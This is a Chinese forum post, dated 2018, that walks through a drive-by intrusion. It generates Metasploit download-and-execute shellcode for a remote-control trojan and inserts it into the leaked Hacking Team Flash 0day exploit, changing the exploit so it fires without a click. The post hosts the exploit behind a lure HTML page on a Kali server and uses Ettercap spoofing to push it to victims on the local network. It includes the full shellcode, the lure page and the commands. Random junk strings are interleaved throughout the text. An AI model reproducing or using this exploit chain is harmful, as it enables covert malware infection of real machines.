|
5 J. B! K* k4 p! b
三、flash 0day之手工代码修改制作下载者实例入侵演示
2 a6 ?/ E$ o8 n0 c8 K
$ ]0 q/ V3 M- t: u9 Q0 ]5 }# h
- \5 N& d( n% l" `0 | 利用到的工具： 4 n( P+ Y% g* K+ R1 t- k, c
% B/ J$ [! U, `$ X" @% A0 V
8 _! r2 U& c. k/ F. R9 C
Msf : ]5 `5 U$ u! I, m' T* X' s
$ \' L" \+ v* b( ?) W
$ d9 b! Q, q' E- X5 x! p
Ettercap
0 x' t2 ]( B5 {1 i$ k w+ h4 `8 M 9 p v" n, }. }: D" Z
4 g4 g0 w6 {- ^( E- O8 Q. ] Adobe Flash CS6 2 e" y2 I7 r) X p5 H
1 N; M: W: p8 C9 ^' M# z& g
) S/ F1 k. h- V- H( c Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
9 b$ V( i( v* W! Z: l3 h
# Z6 R7 t* ]% e6 [6 i0 d( C: V8 A' J1 X) ^6 v
下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options * v: x- B C' X0 M9 B
1 l0 p( C! {9 p' k& f' `/ y
( ?4 n8 V! Y1 N1 H+ \
如图：
& C4 Y$ i1 s( p: T" g( \ ; J8 m3 o% D) q8 {" M+ X9 F
+ K+ O& r1 U5 k* Q/ F/ `$ X& _ : s7 P! E% F7 r0 e+ g
+ Y" ?2 }7 x- i F8 P, A$ q( B; e& R
0 Y' q8 Z9 \5 _# i o" W  ; a0 w, k' O5 g7 }
- \. U/ i) A+ H; X5 r* E' J8 d- I, f& h; |' ~
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图:
7 }9 c- C$ v' s" T3 L3 Y U) h; r# }9 K7 I/ U# `3 D2 T
9 K' |- n/ v: R7 H2 R$ R' d
9 K$ J6 E" U, G" l
0 E' ]: O, s. d
1 J) @9 s& S2 x+ {0 x9 P% h  1 G9 E+ v" B2 O1 B* F, m9 }
9 u: ?3 ~- l4 D1 M& P6 [7 B; ]
7 X* F' N. _0 y& Y% H 然后执行generate -t dword生成shellcode，如下：
8 i" n. G: I# S. q 7 O" t2 T; ?* n
6 e+ E0 H5 ~& |8 ]* D
 , b9 v, F2 V* k/ I" Y! I
% Z$ e8 @6 }/ ?
4 j/ y {, j2 g' T+ }3 U 复制代码到文本下便于我们一会编辑flash exp，如下： " P* P3 q( z6 I; ]
1 }* L+ I$ T- K* U
* Z6 B) ~4 F& E: s
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, , c* b0 o6 M, e9 S# U
+ i+ W$ h6 c; ^3 F* [# j+ @, M0 N: I2 |$ c+ d3 ~
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
# X. V a9 L; L1 @+ O
8 _; {, {# |+ o" ^1 N
8 k5 A( l/ s. d( ] 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, ( ^- N+ C/ v. H O) X/ @
+ l5 q& a. o- }4 ?1 }, X0 Q/ P) |2 d, B: B/ v
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, + p: J/ m7 ^3 R" \" V, z
* h" s' @ i+ l2 t# ^) v$ Q, i9 h2 u7 A) }! @# N) C3 _
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
- h! i/ y' v: l8 n
' B6 u$ ~/ ^+ W8 j- j7 J4 B% C
. U9 [; O% z( i 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
/ p, [( _: @: ]: u
I" F( r/ H# A# ~8 U* W
* G7 X; V8 a4 `/ F p! x/ o: n0 V: u 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
0 E1 t8 ^; D3 C. q' o - T# d8 P5 r5 b: r6 g, a9 j
' |) D$ X8 U% D& O+ c1 l$ ?
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, $ C' j+ w* e) s* L+ f
, ~6 {7 a, W4 c% W1 O/ v) A
2 O" g% m0 R: N
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
+ b; q1 J: N( h' ~$ P* I3 ^& R7 o0 {
7 v/ F- ^5 S* ]7 M5 D" J+ V6 N; s/ x% p- Z% o& g' W
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, # e$ F G6 f* V" p4 T5 h6 y
, Q5 o0 g8 b* q
! N* [. A0 @; K! d 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, - I% l, j( i: ~" `5 I0 H
. ?3 C. `3 \0 K4 N, E$ J) _5 D/ L5 ]
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, . G3 Z+ _1 R0 [9 z; P5 x
- b$ X0 Q8 S" S T% y; y
5 \' f. ^/ i- U+ I( e7 E" [4 A+ {
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 9 b: c0 v: S8 }6 a ]
/ o' Q+ {: j* R8 k I
' R2 D ]6 Y: r& p 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 # j8 j% f. L" [8 c a
- o2 d* V1 ?8 L
3 F) G1 D" Q- _; h( S; `, o
3 m9 s. r; G+ I/ m 4 h/ w& c1 R& ?6 Z' s) v- c% r
, F n! {5 f" n/ s# y9 X4 m
: s% }" ? |2 J8 |
' `- B/ @( |0 m! S
8 G9 Z- r1 a' a m' W( B! U 下面我们来修改flash 0day exp，需要修改三个文件，分别为：
, }; l% Q$ ~, g& a {7 Q" _ - w5 z7 W! c7 H( B" O
5 |& y( b, U" n/ j' Y: ~" [  ( h7 N7 y f$ \9 Q0 v
/ ?! z" J6 q4 {
1 N5 G8 X) I& z. h( o4 l 先修改ShellWin32.as，部分源代码如图： . F1 k u6 I0 R0 N% f- r1 \5 X& b
' P+ l3 b+ w5 w* }1 e/ @9 o
5 @) V) A! f" U" R8 i' ] 
0 }. }- u$ Q1 M! _4 ` 5 X6 d* N n1 U* f: Q- c& M9 N
" A* g6 @- f! X: Y1 t' j9 ?
我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： 6 Q6 G0 E8 v8 N' t' |
3 l$ @6 d( L5 G# w) f
$ I$ V6 u, S' `) S- f* r  6 h1 W; Z9 j' M, T8 [
/ J+ q/ L+ E; t; }4 o3 A* Z# }5 |) ~& a2 r( U- u
然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：
$ A1 l8 N! h7 p+ f& M/ ^$ P f- c& T" {$ U2 f4 M( M( U
6 }8 \/ [* j' D8 u9 @1 ] q 
+ u$ N9 e5 U* c, R : Q4 U4 @2 \/ i" f! l3 Z8 U3 h
9 N3 ?- p3 y+ q: z! Y: V 换行在后面加一句TryExpl();注意是l不是数字1，然后如图：
& C& p9 U8 e" `$ I' K
9 A) {$ h/ j) f4 ] W) z: A0 { [/ a% x
5 N% g6 v5 l* |2 } 9 {; B) [4 `+ }. ^2 n4 Z# E: ~- }6 Q
2 L: m9 \) \8 ^; n, K q + L; @5 z2 f g+ i
+ s- B8 Q. D% O* m) u- |
' z1 }( S. A! _( c1 z# P* m+ ^ 
. r# ^9 u3 H. @/ h$ a
* ]9 ?; A- E: c- F2 B% o4 b
* S0 r) w1 W9 Y9 U! [ 然后点保存，下面我们来编译一下，打开
& t2 Y4 j+ Z S9 t4 H0 u 7 F/ U7 L$ ?- R3 C& o1 y* ]9 _
# i2 A' D' O" `- q2 f' [3 y, A4 F
exp1.fla然后点文件-发布，看看编译没错误
$ k% I2 ^) f9 A+ r( \/ z/ Q) t* t8 r ( ^3 r9 v+ W! M* ^ z9 O
1 _, ^6 Q$ h/ I- u9 ]2 Y% M7 B. a( x
/ R0 X: i G* A( {+ X6 \- _5 E
% X" f# A! G; L1 ]. z& x9 l5 Y# `" [. ?. V" M4 g
# v) H' \) F8 J7 `! Y
, y* ^; a" Y0 [4 o8 ~! H
% V' ^7 p9 @% \- L% y * }5 F4 e2 |; A; z/ D9 F& i
- p# @. p" P# T6 t9 W
, k6 T6 m3 ]- E9 F* }7 Y 
" @+ V" E& F! ^9 S 7 a# Z, n E( Y$ ^: w8 C. F) ~7 L6 f
( i4 c. C3 \& m5 I ]. [ 然后我们把生成的 ( }# p/ [/ u2 M4 h% M
( C" U( F; c8 v* r# ]& {# b+ o1 Y, }
* P+ E! N$ P4 P4 K exp1.swf丢到kailinux 的/var/www/html下： 1 o3 P3 u, O7 K! Y1 q, w
. k9 } C9 U( K$ X5 a* Z; X; w# u
然后把这段代码好好编辑一下 8 R& D2 Y$ q5 H/ [7 c$ P) w! i3 g
) O+ n6 k) W6 t4 V, R, V% T
2 t5 |/ D* X+ [+ p) u- C9 j
3 ^# `! d4 h& y$ S4 X' @
" X7 o: T3 e- K. @ V! a. F) }/ @% U4 A6 H+ o
6 X- \3 T& n ^1 n8 i% L" P1 N
7 e5 |. w8 m1 g. ^( {0 B+ Q
* n- e' P2 L* B, s A ) \# [ L, U# [) u+ o( m
* Y: c9 ^0 T, Y9 s8 }
2 u- w( e' C( h $ I% B/ f$ k5 o& D7 ]6 S
' o) P5 a/ Y& n4 m. u: r* s8 L
9 H4 E0 e5 P" n
! J: z; i6 S6 J* I) P ; j& Y; i* g" Q; m& r4 T' F
% }. R# |2 l8 M
, X: v; B4 [. a# A! j( q2 q ( R) B8 ? P9 F% h! g
' A. G$ S9 H0 A# x) p1 | <!DOCTYPE html>
# {" ?4 t4 f0 x. F6 o. F
" s% X& S6 c7 x% p/ Q2 L( C& N' [: M* F) z
<html>
, v' O7 y, b; a- `) S( W- B7 } , V6 @/ e: f; i/ Z9 {- J& a4 b' L
0 N" w' W7 n" `9 d! `) t5 p% ]9 P+ U( l# D <head>
5 ]) O1 G) f% ]+ T 2 |) ?# g" E/ M+ R
9 A% d! c5 {/ W w
<meta http-equiv="Content-Type" content="text/html; 2 _$ F+ ?$ b5 x. t( d
6 a$ k4 v. U3 m8 w
" K) ~ `8 b, ~9 b$ b charset=utf-8"/> ; i n1 A" k F4 u x8 _
3 ~2 O* u1 w" c9 x! Y2 ~* L3 g5 S' Z/ ~( r
</head> 4 m5 R! e! K4 Q
9 T1 u; M) M: Y
" r, R! v+ I! e8 y <body> & H* u& u2 V: I$ s
4 C2 s Y# m1 Q2 R6 Q
# o' @0 n3 N! U+ M ^7 `0 J* a+ D <h2> Please wait, the requested page is loading...</h2>
8 b3 S6 u8 z* M
! Y! _5 W; u) c; `3 o: F, j0 R* [, B
<br>
! @1 G3 e3 w& z# \8 N+ N& o, v- V1 m& S ! q9 {" ?1 I' ^
+ g4 {0 d' y H" r" N. I <OBJECT + B% ?7 c* \2 s' S2 b
1 r, C3 \# G1 p2 C1 z' p: z
/ d* V9 O" B8 f( V' ]* w
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie 8 b2 _* [2 I8 h% y6 n- e! @+ K
5 v3 i8 E: Z v# m+ H
! n+ T1 b7 k, |2 A8 _+ j4 X% T VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
% _2 k# F( C4 `: G; j6 o8 | * }) o; w! V5 a/ ?; |# k8 @8 {+ U0 r
0 U9 U5 G# }) b7 I. B9 V" |) B </body> ! K* | ^& `9 T) h5 q7 i
# V" v' @" ?/ K8 F" e( K _9 T$ m; @7 X
<script>
' ^9 y) n, u2 C+ C1 H9 Q- y& o + X! x0 \3 B0 V0 h: x; w
% V; i) W3 n- u6 }. g setTimeout(function () { % c' F- Q. I% ]
9 n' o |$ Z8 T, A) P# g' ?% t0 r; r
+ Z( S$ Y( a5 y2 e8 o$ s3 {2 ^. ]! a/ \ 5 s/ o! ?% P p1 Y. ]
1 r+ S5 F' u6 G) _
! _8 G# b7 e8 o4 C* b window.location.reload(); 2 C! w% P( w7 W, t( c" T
) s: V" i) B, z1 L9 P' i- |
& e# ~. p' J1 s# m }, 10000); 9 y; S+ m6 l {- b
3 S& y# i5 [# k3 K3 N0 _/ H4 q/ r
: b; A+ Z' O7 o( l ' c X/ z/ P3 }0 k
2 T5 `" o" P& r* H% q8 I2 l; q* R. o
* {& S6 A) ?: o1 M9 b4 K
</script> 2 H: |2 a- k0 W2 Q1 D8 G4 U+ P! u
& t* e6 J3 I* f0 u
/ R: N( r( r% H, {6 ] </html> % h ]8 I" {: b5 Z9 L5 N* U
+ [) c" ^) A4 p" M, T
3 @; x. i" ]- O2 q) t ; q0 K; l" t$ Q3 w
( R! e0 D$ z* P+ r# H7 \
3 X8 ]% d+ J& A9 B+ V& l& {
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：
% Z6 L! s# r, @4 O
1 P5 f8 _' p# T% Y) a
$ r& U$ I8 s% ^ 
5 L: D q' L! ~+ T 5 k) g( h" g0 x2 Z
0 X% R. t# \8 `7 p 0 R9 z& @0 W1 S6 R2 _
" y+ L. U$ n* j' @# x7 N
5 G3 S% r7 ]+ K% A
4 v/ B9 N3 P1 D/ K z8 ~" h3 p) F1 j8 Y6 C" D( J& W
7 }! t0 n- y3 F: ~1 a9 \# A
# G6 j2 H2 E3 ?! ?2 u/ j" v
: w" n9 a- L: g7 R
$ m; O. K5 m# I" }- H7 k, j6 _
b( Z# b; _5 o* ^0 p! t, O) p
2 o5 }. q6 ]$ _$ `1 d3 u4 t3 e5 ^$ F
下面我们用ettercap欺骗如图： - Z x2 @( L# J3 P+ i7 O$ @' d1 O
m% e9 a- {( a$ b- @( `* y2 {; T2 q) e
 & r7 t! \) n& h! U
/ R) Y) d' @1 W; b) ~+ z5 F
2 i, q. ]+ I( P8 s" W+ I
7 [: N( k8 v5 I `( G* n
" s: ?0 Y. k8 G- }( Y* w* `4 F+ \& V3 [8 z& B$ k/ `
下面我们随便访问个网站看看：
/ k: L* V" \; A. x! I6 e ; v# T6 C: t( R! H* Z# Y* s
; _" g( v3 V U3 p
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：
6 }7 ]3 v/ ~; d, A0 j 4 |, i A% c" {. `3 S6 [
3 z6 l l* K0 ~6 ]* `) K 
- H/ P9 R; x% @4 u
! u5 J |) r& l+ G2 W% C/ p8 Y' g$ Y0 T
我们看另一台，
! r% e8 B/ R, G# V8 ?# h- x) B r; {' ?) A( O/ `
: z5 T4 v+ Q: W- D
提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。
+ L+ Q2 _6 P: Q) o+ R | 
发表于 2018-10-20 20:28:55
收藏
支持
反对